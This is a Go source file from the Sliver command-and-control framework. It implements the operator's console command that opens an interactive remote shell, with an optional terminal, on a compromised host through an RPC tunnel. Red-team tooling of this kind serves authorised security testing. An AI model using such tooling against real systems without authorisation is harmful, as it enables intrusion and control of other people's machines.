Files
2022-07-25 19:31:41 -07:00

148 lines
4.1 KiB
Go

package shell
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bufio"
"context"
"io"
"log"
"os"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"golang.org/x/crypto/ssh/terminal"
"github.com/desertbit/grumble"
)
const (
windows = "windows"
darwin = "darwin"
linux = "linux"
)
// ShellCmd - Start an interactive shell on the remote system
func ShellCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
if !settings.IsUserAnAdult(con) {
return
}
shellPath := ctx.Flags.String("shell-path")
noPty := ctx.Flags.Bool("no-pty")
if con.ActiveTarget.GetSession().OS != linux && con.ActiveTarget.GetSession().OS != darwin {
noPty = true // Sliver's PTYs are only supported on linux/darwin
}
runInteractive(ctx, shellPath, noPty, con)
con.Println("Shell exited")
}
func runInteractive(ctx *grumble.Context, shellPath string, noPty bool, con *console.SliverConsoleClient) {
con.Println()
con.PrintInfof("Wait approximately 10 seconds after exit, and press <enter> to continue\n")
con.PrintInfof("Opening shell tunnel (EOF to exit) ...\n\n")
session := con.ActiveTarget.GetSession()
if session == nil {
return
}
// Create an RPC tunnel, then start it before binding the shell to the newly created tunnel
ctxTunnel, cancelTunnel := context.WithCancel(context.Background())
rpcTunnel, err := con.Rpc.CreateTunnel(ctxTunnel, &sliverpb.Tunnel{
SessionID: session.ID,
})
defer cancelTunnel()
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
log.Printf("Created new tunnel with id: %d, binding to shell ...", rpcTunnel.TunnelID)
// Start() takes an RPC tunnel and creates a local Reader/Writer tunnel object
tunnel := core.GetTunnels().Start(rpcTunnel.TunnelID, rpcTunnel.SessionID)
shell, err := con.Rpc.Shell(context.Background(), &sliverpb.ShellReq{
Request: con.ActiveTarget.Request(ctx),
Path: shellPath,
EnablePTY: !noPty,
TunnelID: tunnel.ID,
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
//
if shell.Response != nil && shell.Response.Err != "" {
con.PrintErrorf("Error: %s\n", shell.Response.Err)
_, err = con.Rpc.CloseTunnel(context.Background(), &sliverpb.Tunnel{
TunnelID: tunnel.ID,
SessionID: session.ID,
})
if err != nil {
con.PrintErrorf("RPC Error: %s\n", err)
}
return
}
defer tunnel.Close()
log.Printf("Bound remote shell pid %d to tunnel %d", shell.Pid, shell.TunnelID)
con.PrintInfof("Started remote shell with pid %d\n\n", shell.Pid)
var oldState *terminal.State
if !noPty {
oldState, err = terminal.MakeRaw(0)
log.Printf("Saving terminal state: %v", oldState)
if err != nil {
con.PrintErrorf("Failed to save terminal state")
return
}
}
log.Printf("Starting stdin/stdout shell ...")
go func() {
n, err := io.Copy(os.Stdout, tunnel)
log.Printf("Wrote %d bytes to stdout", n)
if err != nil {
con.PrintErrorf("Error writing to stdout: %s", err)
return
}
}()
log.Printf("Reading from stdin ...")
n, err := io.Copy(tunnel, os.Stdin)
log.Printf("Read %d bytes from stdin", n)
if err != nil && err != io.EOF {
con.PrintErrorf("Error reading from stdin: %s\n", err)
}
if !noPty {
log.Printf("Restoring terminal state ...")
terminal.Restore(0, oldState)
}
log.Printf("Exit interactive")
bufio.NewWriter(os.Stdout).Flush()
}